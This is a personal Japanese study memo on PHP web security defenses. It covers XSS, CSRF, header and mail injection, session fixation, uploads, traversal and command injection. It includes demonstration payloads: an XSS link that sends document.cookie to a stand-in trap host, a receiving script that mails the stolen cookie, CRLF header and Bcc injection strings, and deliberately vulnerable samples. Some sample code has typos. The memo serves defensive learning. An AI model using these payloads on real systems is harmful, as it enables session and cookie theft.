#
ドキュメント

Document

自分のための備忘録です。

セキュリティ

参考資料

本記事内容

徳丸本記載内容

  • 表示処理に伴う問題
    • XSS ○
    • エラーメッセージからの情報漏洩
  • SQLインジェクション ○
  • CSRF ○
  • セッション管理不備(推測、盗み出し、強制) ○
  • リダイレクト処理にまつわる脆弱性
    • オープンリダイレクタ
    • HTTPヘッダ・インジェクション ○
  • クッキー ○ 5章 WEBに関するテクニック > クッキー
  • メールヘッダインンジェクション ○
  • ファイルアクセスにまつわる問題
    • ディレクトリ・トラバーサル ○
    • 意図しないファイル公開 ○
      • ディレクトリ・リスティング(Directory Listing)
  • OSコマンドインジェクション ○
  • ファイルアップロードにまつわる問題
    • アップロードの問題 ○
    • ダウンロードの問題
  • インクルードにまつわる問題 ○ 11章 アプリケーションのテクニック > require/include
  • evalにまつわる問題
  • 共有資源に関する問題

基礎知識

HTMLフォーム入力域

<input type="text" name="foo" value="Input area sample.">
<textarea name="bar">Text area sample.</textarea>
  • input要素のvalue値は<, >をメタ文字と解釈しません(hiddenも含みます)。
  • <textarea>と</textarea>で囲まれた部分は</textarea>を除いて<, >をメタ文字と解釈しません。

<, >はHTMLのメタ文字と解釈されないので下記コードはJavaScriptを実行しません。

<textarea name="bar"><script>alert('Script');</script></textarea>

もちろん上記内容を送信しdiv要素などへ表示した場合はスクリプトが実行されます。

  • input, textareaとも入力エリアへ表示する際に、HTMLエンティティ(&lt;や&gt;など)を通常の文字(<, >)に変換します。

ブラウザは、HTMLエンティティを入力エリア(input, textarea)に表示する際に、通常の文字に変換するので、下記内容はHTMLエンティティではなく変換された<, >が送信されます。

<textarea name="bar">&lt;script&gt;alert('Script.');&lt;/script&gt;</textarea>
<input type="submit" name="send" value="送信">
...
...
echo '<p>' . $_POST['bar'] '</p>;

そのため下記コードの送信ボタンを押すとJavaScriptが実行されます。
&lt;は<へ&gt;は>に変換された内容が送信されるためです。

最新のブラウザはX-XSS-Protection:が有効になっているために、上記例ではブラウザ側で防御されて実行を確認できない可能性があります。
ヘッダーにX-XSS-Protection:0をつけて試すと実行されます。

一方、入力者がテキストエリアへ直接&lt;script&gt;alert('Script.');&lt;/script&gt;を入力したときは&lt;, $gt;自体が送信されるのでスクリプトは実行されません。
つまりinput, textareaの入力内容は見たままを送信します。

入力検証、エスケープ、サニタイズ

  • 入力値の検証はデータの整合性を保証します
  • エスケープ処理はデータをサニタイズ(無害化)する手段です。XSSなどのセキュリティ対策は出力のエスケープ処理で対応します

エスケープ処理とはサニタイズ(無害化)の手段です。
またエスケープは異なるコンテキストでもデータの内容をそのまま保持するためのテクニックのことでもあります。

JavaScript 同一生成元ポリシー

同一生成元ポリシー(same origin policy)とは、JavaScriptによるサイトをまたがったアクセスを禁止するセキュリティ上の制限であり、ブラウザのサンドボックスに用意された制限の1つです。 -- 「安全なWebアプリケーションの作り方」(徳丸 p58)

同一生成元ポリシーに違反した例(Google Chrome)
アクセス元 アクセス先
example.jp example.com

example.jp/violation.html

<html>
<body>
    <script src="/jquery.js"></script>
    <script>
        .....
        $.get('http://example.com/xxx', function(data) {
          // 成功時の処理
        });
    </script>
</body>

上記は、example.jpからexample.comに対するサイトを跨いだリクエストのためにエラーになります。

XMLHttpRequest cannot load http://example.com/xxx. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://example.com' is therefore not allowed access.
同一生成元ポリシー回避策
  • CORS(Cross-Origin Resource Sharing)・・・サーバでHTTPレスポンスヘッダで許可
  • JSONP
CORS(Cross-Origin Resource Sharing)

HTTPレスポンスのAccess-Control-Allow-Originヘッダで許可するアクセス元を指定します。
例えば全てのアクセス元を許可するときは以下のようになります。

Access-Control-Allow-Origin: *

ref. HTTP アクセス制御 (CORS) - HTTP | MDN

XSS

  • 脆弱性のある攻撃対象サイト(A): target.example.com
     このサイトのクッキーを盗みたい
  • 悪意のあるサイト(B): trap.example.com

XSS

以下に例を示す。 window.location.hrefプロパティはwindow.location.replace()でも同じ。
ref.
【Javascript】location.hrefとlocation.replace()の違い。

攻撃対象サイト(A)に存在する脆弱性。

// http://target.example.com/xss/unsafe.php
<?php
session_start();
header('X-XSS-Protection: 0');
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>XSS脆弱性のあるサイト</title>
</head>
<body>
<h1>XSS脆弱性のあるサイト</h1>
<form action="" method="get">
    <input type="text" name="keyword">
    <input type="submit" name="send" value="送信">
</form>
<p><?php echo isset($_GET['keyword']) ? 'Keyword: ' . $_GET['keyword'] : ''; ?></p>
</body>
</html>

脆弱性を攻撃する悪意あるサイト(B)に設置したリンク。

// パーセントエンコード%2Bは+
<a href="http://target.example.com/xss/unsafe.php?keyword=<script>window.location.href='http://trap.example.com/xss/attack_mail.php?cookie='%2Bdocument.cookie;</script>">悪意あるリンク</a>

攻撃対象サイト(A)からのレスポンス(target.example.comからのレスポンス)。

<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>XSS脆弱性のあるサイト</title>
</head>
<body>
<h1>XSS脆弱性のあるサイト</h1>
<form action="" method="get">
    <input type="text" name="keyword">
    <input type="submit" name="send" value="送信">
</form>
<p><script>window.location.href='http://trap.example.com/xss/attack_mail.php?cookie='+document.cookie;</script></p>
</body>
</html>

リダイレクト先の悪意あるサイト(B)のメール送信スクリプト。

<?php
mb_language('Japanese');
mb_internal_encoding('UTF-8');

$cookie = $_GET['cookie'];
$to = 'info@trap.example.com';

$subject = mb_encode_mimeheader('XSSテスト', 'JIS');
$message = mb_convert_encoding($cookie, 'JIS');

$header_array = array(
    'Mime-Version: 1.0',
    'Content-Type: text/plain; charset=ISO-2022-JP',
    'Content-Transfer-Encoding: 7bit',
    'From: info@trap.example.com',
);
$headers = implode("\r\n", $header_array);
$mail_result = mail($to, $subject, $message, $headers);
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<?php echo $cookie; ?>
</body>
</html>

JavaScriptに関係するXSSの主な原因を記載します。

上記レスポンスを返した攻撃対象サイト(A)のクッキー情報をブラウザ自身が悪意あるサイト(B)に送信することはありません。
しかしレスポンス内のJavaScriptは悪意あるサイト(B)にリダイレクトする前に攻撃対象サイト(A)のクッキー情報を読み取って、悪意あるサイト(B)のURLにそのクッキー情報を付与してから悪意あるサイト(B)にリダイレクトするので、攻撃対象サイト(A)のクッキーが悪意あるサイト(B)へ送信されます。

対策

  1. イベントハンドラ、scriptタグ、styleタグ以外のすべての箇所で出力値をhtmlspecialchars/htmlentitiesでエスケープします。
    属性値への出力もhtmlspecialchars/htmlentitiesでエスケープします。
  2. イベントハンドラ,scriptタグ、styleタグおよび属性はhtmlspcialchars/htmlentitesでは足りず個別の対応が必要です(後述します)。
  3. セッションID用クッキー(通常PHPSESSID)のhttponly属性を有効にします(すべてのクッキーで有効にするときはphp.iniのsession.cookie_httponly = On)。
  4. Apacheのhttpd.confでTraceEnable offを設定します。
  5. 適宜ブラウザ側のXSS対策の機能を有効にしてください。
    • X-XSS-Protection: 1;mode=block
    • X-Content-Type-Options: nosniff
    • X-Frame-Options: DENY
    • Content-Security-Policy: default-src 'self'
header('X-XSS-Protection: 1;mode=block');
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header("Content-Security-Policy: default-src 'self'");  // 例 詳細要調査

htmlspecialchars/htmlentities

XSS対策は特殊文字&, <, >, ', "をHTMLエンティティ(文字参照)へエスケープし出力します。  

変換前 変換後
& (アンパサンド) &amp;
" (ダブルクォート) &quot;
' (シングルクォート) &#039; (ENT_HTML401 の場合) あるいは &apos; ( ENT_XML1、ENT_XHTML、 ENT_HTML5 の場合)。
< (小なり) &lt;
> (大なり) &gt;

引用 PHP: htmlspecialchars - Manual

文字参照 - Wikipedia

関数名 内容
htmlspecialchars 特殊文字をHTMLエンティティ(文字参照)へ変換します。第2引数へENT_QUOTEを指定したときの特殊文字は&, <, >, ', "です。 htmlspecialchars('対象文字', ENT_QUOTE, 'UTF-8');
htmlentities HTMLエンティティへ変換可能な全ての文字を変換します htmlentities('対象文字', ENT_QUOTE, 'UTF-8');
htmlspecialcharsとhtmlentitiesの違い

htmlentitiesはHTMLエンティティへ変換可能な全ての文字を変換します。変換可能な文字は下記関数で取得できます。

get_html_translation_table(HTML_SPECIALCHARS, ENT_QUOTES); // htmlspecialcharsが変換する文字種の確認
get_html_translation_table(HTML_ENTITIES, ENT_QUOTES);     // htmlentitiesが変換する文字種の確認

JavaScript

分類
  • href属性値
  • イベントハンドラ
  • scriptタグ、styleタグ/属性
href属性

href属性はJavaScriptをJavaScriptプロトコル(javascript:)で記述することができます。
JavaScriptの混入を避けるためhref属性値へ外部の入力値を含めるときは属性値がhttp://やhttps://で始まっていることを確認してください。

イベントハンドラ,scriptタグ、styleタグ/属性
  • 入力値をUnicodeエスケープする方法が現実的です。
    Unicodeエスケープはハイフン、ピリオド、英数字以外をJavaScriptでUTF-16のビッグエンディアンを表す\uXXXXへ変換します。
    UTF-16はUTF-8と混合できます。
  • Unicodeエスケープができないときはイベントハンドラとscriptタグに分けて下記処理行ってください。
    • (1) JavaScriptの特殊文字(', ", \, 改行)をJavaScritpのコンテキストでエスケープします。
    • (2-1) イベントハンドラは(1)の結果をhtmlspecialchars/htmlentitiesでエスケープします。
    • (2-2) scriptタグのときは(1)の結果に</という文字が含まれていないかを検証します。

出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.2335). SBクリエイティブ株式会社. Kindle 版.

scriptタグの中は実体参照&lt;を<と解釈しません。そのため2-2でhtmlspecialchars/htmlentitiesでエスケープした場合は<自体を表示したいときに問題が出るので使えません。   同様に<ではなく</を検証するのは<自体を表現したいときの問題を避けるためです。HTMLの規格では</はscriptタグの中へ記述できないので</が記載されていないかを検証します。

Unicodeエスケープ

PHP逆引レシピ(p777)

$escaped = preg_replace_callback(
    '/[^-\.0-9a-zA-Z]+/u',
    function ($matches) {
        $u16 = mb_convert_encoding($matches[0], 'UTF-16');

        return preg_replace('/[0-9a-f]{4}/', '\u$0', bin2hex($u16));
    },
    $subject
);
echo $escaped;

Unicode ~ユニコードエスケープ形式とは~(文字コード関連) | 読み物 | ウナのIT資格一問一答

XSS対策としてエスケープする必要があるJavaScript文字
JavaScriptの文字列 JavaScriptのエスケープシーケンス
' \'
" \"
\ \\
改行コード \n

JavaScript文字列としてエスケープ -> HTMLエスケープ

元入力 JavaScriptエスケープ後 HTMLエスケープ後
<>'"\ <>\'\"\\ &lt;&gt;\&#39\&quot;\\

出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.2301). SBクリエイティブ株式会社. Kindle 版.

クリックジャック

他のページからifameで表示されることで意図しない処理が行わせます。
iframeとして読み込まれたページに脆弱性があるとXSSなどの脆弱性が起きます。

対策

ヘッダー
X-FRAME-OPTIONSヘッダー DENY フレームとして表示することを禁止します。
SAMEORIGIN 同一ドメインのみ表示を許可します。
header('X-FRAME-OPTIONS: DENY');

CSRF(cross-site request forgeries)

内容

悪意あるサイトからリクエストを受け処理を実行する脆弱性です。
CSRFでは下記の理解が重量です。

  1. form要素のaction属性は外部ドメインを指定可能です。
  2. 外部ドメインを指定したフォームのリクエストで外部ドメインで発行されたクッキー(つまりセッションIDも)が送信されます。

影響と被害

いたずら的書き込み、不正サイトへの誘導、犯罪予告といった掲示板やアンケートフォームへの不正な書き込み 不正な書き込みを大量に行うことによるDoS攻撃

-- https://www.trendmicro.com/ja_jp/security-intelligence/research-reports/threat-solution/csrf.html#:~:text=%E5%BD%B1%E9%9F%BF%E3%81%A8%E8%A2%AB%E5%AE%B3,%E3%81%B8%E3%81%AE%E4%B8%8D%E6%AD%A3%E3%81%AA%E6%9B%B8%E3%81%8D%E8%BE%BC%E3%81%BF

対策

外部から知ることのできないトークンをhidden属性値として埋め込みサーバー側でセッションを使いリクエストの妥当性を検証します。 トークンとして利用されるものに下記があります。

  • セッション値
  • ワンタイムトークン(nonce: number used once)

 

セッション値で良いかワンタイムトークンが必要かは開発ポリシーによります。

セッション使用例

<?php
session_start();
if (!isset($_POST['token']) || session_id() !== $_POST['token']) {
   echo '不正アクセスです。';
   return;
}
if (isset($_POST['send']) && $_POST['send'] !== '') {
    
    mb_language('Japanese');
    mb_internal_encoding('UTF-8');

    $password = isset($_POST['password']) ? $_POST['password'] : '';
    $to     = 'info@foo.jp';

    $subject = mb_encode_mimeheader('CSRF対策あり', 'JIS');
    $message = mb_convert_encoding($password, 'JIS');

    $header_array = array(
        'Mime-Version: 1.0',
        'Content-Type: text/plain; charset=ISO-2022-JP',
        'Content-Transfer-Encoding: 7bit',
        'From: cracked@foo.jp',
    );
    $headers      = implode("\r\n", $header_array);
    $mail_result  = mail($to, $subject, $message, $headers);
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>脆弱性</title>
</head>
<body>
<form action="" method="post">
    <input type="hidden" name="token" value="<?php echo htmlspecialchars(session_id(), ENT_QUOTES, 'UTF-8'); ?>">
    パスワード: <input type="password" name="password"><br>
    <input type="submit" name="send" value="送信">
</form>
</body>
</html>

nonce(ワンタイムトークン)例

<?php
session_start();
if ($_SERVER["REQUEST_METHOD"] === "POST" && $_SESSION['token'] === $_POST['token']) {
    // 正常な処理
} esle {
    echo '不正なアクセスです。 
    return;
}
$_SESSION['token'] = openssl_random_pseudo_bytes(32);
?>
<form method="POST" action="controller.php">
    <input type="hidden" value="<?php htmlspecalchars($_SESSION['token'], ENT_QUOTES, 'UTF-8'); ?>">
    ...
    <input type="submit" name="送信" value="送信">
</form>

SQLインジェクション対策

プリペアドステートメントはテーブル名やフィールド名には使用できません。そのためテーブル名やフィールド名へ外部からの入力を含めるときはプリペアドステートメントだけではSQLインジェクションの対策としては不十分です。

DB文字コード

DB処理は文字コード(多くの場合UTF-8)を正しく指定してください。

MySQLデータベース作成

mysql> CREATE DATABASE <database> DEFAULT CHARACTER SET utf8mb4;

PDOで文字コードを指定し接続

<?php
$pdo = new PDO(
    'mysql:host=<host>;dbname=<database>;charset=utf8mb4',
    '<user>', 
    '<password>'
);

HTTPヘッダインジェクション

HTTPヘッダは改行で区切られます。HTTPヘッダの中に改行を混入され意図しないヘッダを出力する脆弱性がHTTPヘッダインジェクションです。  
またHTTPヘッダと本文は空白行で区切られるのでHTTPヘッダへ意図せぬ改行を2回連続で出力された後のデータがレスポンスボディとして表示されることで画面を改変されることも含まれます。

HTTPヘッダの例

Content-Encoding:gzip
Content-Length:16586
Content-Type:text/html; charset=UTF-8

PHP5.1.1以前ではheader関数は改行を検証しておらずHTTPヘッダインジェクションがありました。

<?php 
header('Location: ' . $_GET['url']);

http://example.jp/header.php?url=http://example/top.php%0d%0aSet-Cookie:+PHPSESSID%3DABC %0dはCR、%0aはLFで%0d%0aは改行(CRLF)を表します。上記は下記のヘッダを出力します。


Location: http://example/top.php
Set-Cookie: PHPSESSID=ABC

PHP5.1.2で改行を検証するようになり上記の問題はなくなりました。  
改行を検証するようになったPHP5.1.2以降も攻撃によってHTTPヘッダインジェクションが起こる可能性がありましたが下記バージョンで対策が行われています。

  • 5.4.38
  • 5.5.22
  • 5.6.6

PHPにおけるHTTPヘッダインジェクションはまだしぶとく生き残る | 徳丸浩の日記

メールヘッダインジェクション

メールのヘッダーも改行で区切ります。下記のコードは意図せぬヘッダーを追加されるサンプルです。

<?php

$from = $_GET['from'];
mb_language('japanese');
mb_internal_encoding('UTF-8');

$to = 'info@example.jp';

$subject = '日本語の題名';
$message = '日本語メールの本文。';


$mail_result = mb_send_mail($to, $subject, $message, $from);
if ($mail_result) {
    echo '送信完了';
} else {
    echo '失敗';
}

http://php.net/manual/ja/function.mb-send-mail.php

クエリ文字

?from=From%3a+info@example.com%0d%0aBcc%3a+info@trap.example.com
// %0d%0aは改行(CRLF)をURLエンコーディングした値です。

上記コードはメールヘッダーへFromに加えBccも追加します。

セッション推測、盗み出し、強制

対策

  • セッション管理はPHPが提供するセッション管理機構を使用してください(セッション推測対策)。 独自に実装しないでください。
  • php.iniのsession.use_only_cookieを1に設定します(セッション盗み出し、強制対策)。
  • ログイン時にセッションを再生成し古いセッションを破棄します(セッション固定化対策)。
  • SSL化(盗み出し対策)

セッション推測原因

不備のあるセッション管理機構の使用により起こります。
セッション管理はPHPが提供するセッション管理機構を使用してください。

盗み出し原因

  • クッキー 生成の際の属性不備により漏洩する
  • ネットワーク的にセッションIDが盗聴される
  • クロスサイト・スクリプティングなどアプリケーションの脆弱性により漏洩する
  • PHPやブラウザなどプラットフォームの脆弱性により漏洩する
  • セッションIDをURLに保持している場合は、Refererヘッダから漏洩する

出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.3168-3174). SBクリエイティブ株式会社. Kindle 版.

セッション固定化

URLによるセッションの埋め込みはsession.use_only_cookieを1にすることで防ぐことができます。

クッキー に セッション ID を 保持 し て いる 場合 でも、 セッション ID の 固定 化 が 可能 に なる 場合 が あり ます。 クッキー の セッション ID を 外部 から 設定 する こと は 通常 でき ない はず です が、 __ブラウザ や Web アプリケーション に 脆弱性 が あれ ば、 可能 になり ます。__以下 は、 クッキー を 第三者 が 設定 できる 脆弱性 の 例 です。 クッキー モンスター 問題( ブラウザ の 脆弱性、 3. 1 節 参照) クロスサイト・スクリプティング 脆弱性( 4. 3 節 参照) HTTP ヘッダ・インジェクション 脆弱性( 4. 7. 2 項 参照)

徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.3527-3534). SBクリエイティブ株式会社. Kindle 版.

原則クッキーの値は第3者は変更できません。ただし下記の脆弱性がある場合は変更される可能性があります。

  • クッキー モンスター問題
  • クロスサイト・スクリプティング
  • HTTP ヘッダ・インジェクション

徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.3527-3534). SBクリエイティブ株式会社. Kindle 版.

例えばXSSがありJavaScriptが実行できると下記コードでセッションを埋め込むことができます。

document.cookie = 'PHPSESID=' + encodeURIComponent( '注入したい値 );

また不具合ではなくPHPのセッション管理機構は仕様上セッションアダプションが起こります。

セッションアダプション(Session Adoption)

先の攻撃シナリオで、PHPSESSID=ABCというセッションIDが使用されています。ABCは、攻撃者が勝手に作成したセッションIDですが、PHPには未知のセッションIDを受け入れるという特性があります。この特性はセッションアダプション(Session Adoption)と呼ばれます。

出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方(p178)

セッションアダプション は PHP 5. 5. 4 以降 で、 php. use_ strict_ mode = On を 指定 する と 解消 さ れ ます。

出典 徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.3523-3524). SBクリエイティブ株式会社. Kindle 版.

その他注意点

推測、盗み出し、強制とは異なりますがセッションの持つ下記特性は重要です。
これは不備ではなくセッションの仕様です。

  • 外部ドメインを指定したフォームのリクエストで外部ドメインで発行されたクッキー(つまりセッションIDも)が送信されます。

特にCSRFが発生する原因として重要です。

session_regenerate_id(true)の動作

session_regenerate_id(true); // trueを指定しないと古いセッションが破棄されず利用できます。必ずtrueを指定してください。 

http://php.net/manual/ja/function.session-regenerate-id.php

  • cookieのPHPSESSIDを新しい値へ変更。
  • 古いセッションファイルを削除し新しいセッションファイル作成。内容は古いファイルと同じ(セッションは維持されている)。

ファイルアップロード

  • 拡張子がphpなどのプログラムはアップロードさせないでください。 通常のプログラムと同様にURLへアクセスし実行できます。
  • アップロードファイル名はアップロード者が自由に命名できます。<,>など禁止文字が含まれる可能性があります。
    アップロードファイル名をそのまま使用するのは好ましくありません。
  • 通常アップロードファイルの拡張子は画像(png, jpg, gif)のみに制限します。
    しかし拡張子はアップロード者が自由に指定できるため信用しないでください。
  • 画像の保証はgetimagesize関数を使用してください。
    getimagesizeは画像であればマジックバイトを使い画像形式を返り値の2番目の要素で返します。

array getimagesize ( string $filename [, array &$imageinfo ] )

最大 7 つの要素からなる配列を返します。画像の形式によっては、 channels や bits は含まれないことがあります。

0 番目および 1 番目の要素は、それぞれ画像の幅と高さを表します。

注意: 形式によっては、画像を含まないものや複数の画像を含むものがあります。 これらの場合、getimagesize() は画像のサイズを適切に決定することができません。このような場合、 getimagesize() が返す幅と高さはいずれもゼロとなります。 2 番目の要素は IMAGETYPE_XXX constants 定数のひとつで、 画像の形式を表します。

3 番目の要素は IMG タグで直接利用できる文字列 height="yyy" width="xxx" です。

mimeは画像のMIMEタイプに一致します。この情報は 画像とともに正しい HTTP Content-type ヘッダを転送するために使用できます

getimagesize 返り値の例

画像でないときはFALSEが返ります。
PNGの例

array (size=6)
  0 => int 480
  1 => int 360
  2 => int 3          // GIF 1, JPEG 2, PNG 3
  3 => string 'width="480" height="360"' (length=24)
  'bits' => int 8
  'mime' => string 'image/png' (length=9)
2番目の要素 定数
IMAGETYPE_GIF 1
IMAGETYPE_JPEG 2
IMAGETYPE_PNG 3

画像アップロードサンプル

<?php
function check_uploded_image_type($tmp, $name)
{
    $data = [
        'message' => '',
        'errors'  => [],
    ];
    $info = getimagesize($tmp);
    if ($info === false) {
        $data['message'] = '画像ではありません。';
        $data['errors']  = 'Not Image.';

        return $data;
    }
    $ext = strtolower(pathinfo($name)['extension']);
    if ($ext !== 'gif' && $ext !== 'jpg' && $ext !== 'png') {
        $data['message'] = 'GIF, JPEG, PNG形式のファイルのみアップロードできます。';
        $data['errors']  = 'Invalid File Type.';

        return $data;
    }

    if ($ext === 'gif' && $info[2] === IMAGETYPE_GIF) {
        $data['message'] = 'GIF画像です。';

        return $data;
    }
    if ($ext === 'jpg' && $info[2] === IMAGETYPE_JPEG) {
        $data['message'] = 'JPEG画像です。';

        return $data;
    }
    if ($ext === 'png' && $info[2] === IMAGETYPE_PNG) {
        $data['message'] = 'PNG画像です。';

        return $data;
    }
    $data['message'] = '不正なデータです。';
    $data['errors']  = 'Invalid Data.';

    return $data;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['send']) && $_POST['send'] === '送信') {
    if (!is_uploaded_file($_FILES['file']['tmp_name'])) {
        echo 'アップロードされたファイルではありません。';

        return;
    }
    $data = check_uploded_image_type($_FILES['file']['tmp_name'], $_FILES['file']['name']);
    if (count($data['errors']) === 0) {
        echo '正常なファイルです。'.$data['message'];
    } else {
        echo '不正なファイルです。'.$data['message'];
    }

}
?>
<html>
<body>
<form action="<?php echo $_SERVER['SCRIPT_NAME']; ?>" method="POST" enctype="multipart/form-data">
    <input type="text" name="foo">
    <input type="file" name="file">
    <input type="submit" name="send" value="送信">
</form>
</body>
</html>

ダウンロード

  • Content-Type を正しく設定してください。
  • 画像はマジックバイトを確認してください。
     マジックバイトは画像形式判別のためデータの先頭にある固定文字列のことです。
  • 必要があればContent-Disposition ヘッダを設定してください。

ブラウザで開く必要のないファイルはダウンロードを強制することですることで脆弱性を防ぐことができる場合があります。

Content-Type: application/octet-stream
Content-Disposition: attachment; filename=ファイル名

NULLバイト

NULLバイトとはダブルクォート文字列の下記シーケンスを表します。   NULLバイトを文字列終端と判断する関数をバイナリセーフでない関数と呼びます。

種類 NULLバイト
8進数 \0
16進数 \x00
URLエンコーディング %00

バイナリセーフ

関数 内容
バイナリセーフな関数 NULLバイトを文字列終端と判断しません。
バイナリセーフでない関数 NULLバイトを文字列終端と判断します。

PHP5.3.4からファイルパスを指定可能な言語構造と関数の引数へNULLバイトが渡されたとき処理が失敗するよう修正されました(バイナリセーフな関数になりました)。

  • 言語構造
    require_once, include
  • 関数
     copy(), file(), file_get_contents, file_put_contents, fopen(), readfile(), rename(), unlink(), chdir(), mkdir(), scandir()など

ディレクトリトラバーサル

外部入力へ親ディレクトリを表す\..やNULLバイトを混入することで意図しないファイルを開かれる脆弱性です。

対策

  • basename関数でファイル名のみを取得します。
    basename関数はNULLバイトを削除しません。例えば/path/to/example.php%00.txtの帰り値はexample.php%00.txtです。example.phpが実行される可能性があります。PHP5.3.4以降は多くのファイル処理関数はNULLバイトがあると場合エラーを返すようになりました。
  • 外部入力を英数字に限定します。

安全なファル読み込み

$dir = '/var/www/images/';
$ext_list = [
    '.yaml',
    '.php',
]
$filename = basename($_GET['filename']);
$ext = substr(strrchr($filename, '.'), 1);
if(!in_array($ext, $ext_list){
    return false;
}
$file = file_get_contents($dir . $filename);

ディレクトリ・リスティング

ディエクトリへアスセスしたときにファイル一覧を表示する機能をディレクトリ・リスティング(Directory Listing)と呼びます。 httpd.conf

<Directory パス>
Options -Indexes
....
</Directory>

.htaccess

Options -Indexes

OSコマンドインジェクション

関数 意味
escapeshellarg escapeshellarg() は、文字列をシングルクオート で括り、既存のシングルクオートを全てクオート/エスケープします。これにより、文字列を直接シェル関数に渡し、単一の安全な引数として処 理することを可能にします。この関数は、ユーザー入力からの入力を シェル関数への引数として渡す際にエスケープするために使用する必要 があります。シェル関数には、exec(), system()そして バックティック演算子 を含むシェル関数が含まれます。Windows では、escapeshellarg() は、パーセント記号と感嘆符 (遅延環境変数の展開) とダブルクォートをスペースに置き換えます。 そして、文字列をダブルクォートで囲みます」php公式マニュアル。
escapeshellcmd 「escapeshellcmd() は、文字列中においてシェルコマンドを だまして勝手なコマンドを実行する可能性がある文字をエスケープします。 この関数は、ユーザーに入力されたデータを関数 exec() または system() または、 バックティック演算子 に渡す前に全てエスケープを行う場合に使用するべきです。__&#;`
$injection = '-al; cat index.php';
$clean = escapeshellarg($injection);
// $cleanはコマンド全体をシングルクォートで囲んだ文字列となり一つのコマンドになります。
// ※ シングルクォートで囲まれた文字列は単一コマンドと解釈されます。
$result = system('ls '. $clean);
// ls '-al; cat index.php';
// -al; cat index.phpというフォルダはないので何も表示されません。
var_dump($result);

Ajaxのセキュリティ

項目 内容
レスポンスヘッダー Content-Type: application/json; charset: UTF-8
レスポンッスヘッダー X-Content-Type-Option: nosniff (IE向け対策)
リクエストヘッダー X-Requested-Width: XMLHttpRequestがないときはエラーを返す

sniff 匂いを嗅ぐ

php.ini

セキュリティ関連のphp.ini

ディレクティブ 内容
magic_quotes_gpc PHP5.3非推奨、5.4削除 使用しません。
session.use_only_cookies 1/0 1のときクライアントへセッションIDを保存するときにクッキーのみを利用します。またURLへセッションIDの埋め込みは機能しないためセッション固定化の対策になります。PHP5.3.0からデフォルトで1です。
session.use_cookie 1/0 クライアントへセッションIDを保存するときにクッキーを利用します。 URLへ埋め込まれたセッションIDも機能するためセッション固定化の対策にはなりません。PHP5.3.0からデフォルトで1です。
allow_url_fopen 1/0 fopenなどへリモートファイルを指定可能かを設定します。デフォルト1(指定可能)です。
allow_url_include 1/0 include, include_once, require, require_once で URL 対応の fopen ラッパーが使用できるようになります。 出典 PHPマニュアル。デフォルトは0です。この設定値を有効にするにはallow_url_fopenも有効でなければなりません。
disable_functions / 「このディレクティブを使うと、特定の関数を セキュリティ の観点から無効にすることができます。 関数名の一覧をカンマ区切りで指定します。disable_functions は セーフモード の影響を受けません。このディレクティブで無効にできるのは 内部の関数だけです。 ユーザーが定義した関数 は影響を受けません。このディレクティブは php.ini で設定しなければなりません。 たとえばこれを httpd.conf で設定することはできません。」PHP公式マニュアル。disalble_functionsはsystemを設定することによりシステム関数の実行を停止できます。evalなど言語構造は指定できません。
upload_max_filesize 2M アップロードファイルのハードリミットです。 memory_limit > post_max_size > upload_max_filesizeです。
memory_limit 2048M PHPスクリプトが使用するメモリのリミットでです。 -1は無制限です。
post_max_size 1024M POST送信できるデータの最大値です。
max_input_time PHPスクリプトがGETやPOSTをパースする最大の秒数です。
max_execution_time PHPスクリプトが強制終了されるまでの最大秒数です。デフォルトは30です。 -1は無制限です。
register_globals / PHP4.2以降デフォルトでOFF。5.3で非推奨、5.4で廃止。
session.use_trans_sid boolean session.use_trans_sidは、透過的なセッション IDの付加をするかどうかを指定します。 デフォルトは、0(無効)です。注意: URLに基づくセッション管理は、Cookieに基づくセッション管理と比べ てセキュリティリスクが大きくなります。例えば、ユーザーは、emailに より友人にアクティブなセッションIDを含むURLを送信する可能性があ り、また、ユーザーは自分のブックマークにセッションIDを含むURLを保 存し、常に同じセッションIDで使用するサイトにアクセスする可能性 があります。 PHP 7.1.0 以降では、https://php.net/ のような完全な URL パスが、透過的セッションID機能で扱われるようになります。 これより前のバージョンでは、相対 URL パスだけが対象でした。 リライト対象のホストは session.trans_sid_hosts で定義します。
session.use_strict_mode Onにするとセッションアブダプションを禁止します。

ハッシュ関数/乱数

ハッシュ

関数 ソルト 内容
md5(uniqid(rand())) なし ハッシュを得るためのスニペットです。パスワードハッシュとして使用すべきではありません。単にユニークな値を必要とするときhash関数とどちらが良いか。
string hash ( string $algo , string $data [, bool $raw_output = false ] ) なし ソルトを使用しません。必要第1引数にアルゴリズム(md5, sha256など)を指定します。高速にハッシュを生成しますがパスワードハッシュのために使用すべきではありません。
string hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = false ] ) あり ソルトを使用するのでhashより強度が強くなります。パスワードハッシュのために使用すべきではありません。
string password_hash ( string $password , integer $algo [, array $options ] ) あり パスワード用のハッシュ化を生成します。ソルトと計算コストを指定します。crypt関数のラッパーです。
第2パラメータのデフォルトはPASSWORD_DEFAULTでbcript(Blowfish)が使用されます。現在はPASSWORD_DEFAULTはPASSWORD_BCRYPTを指定するのと同じです。ただし将来的により良いエンコードがあればPASSWORD_DEFAULTはアップデート時に自動で変更します。
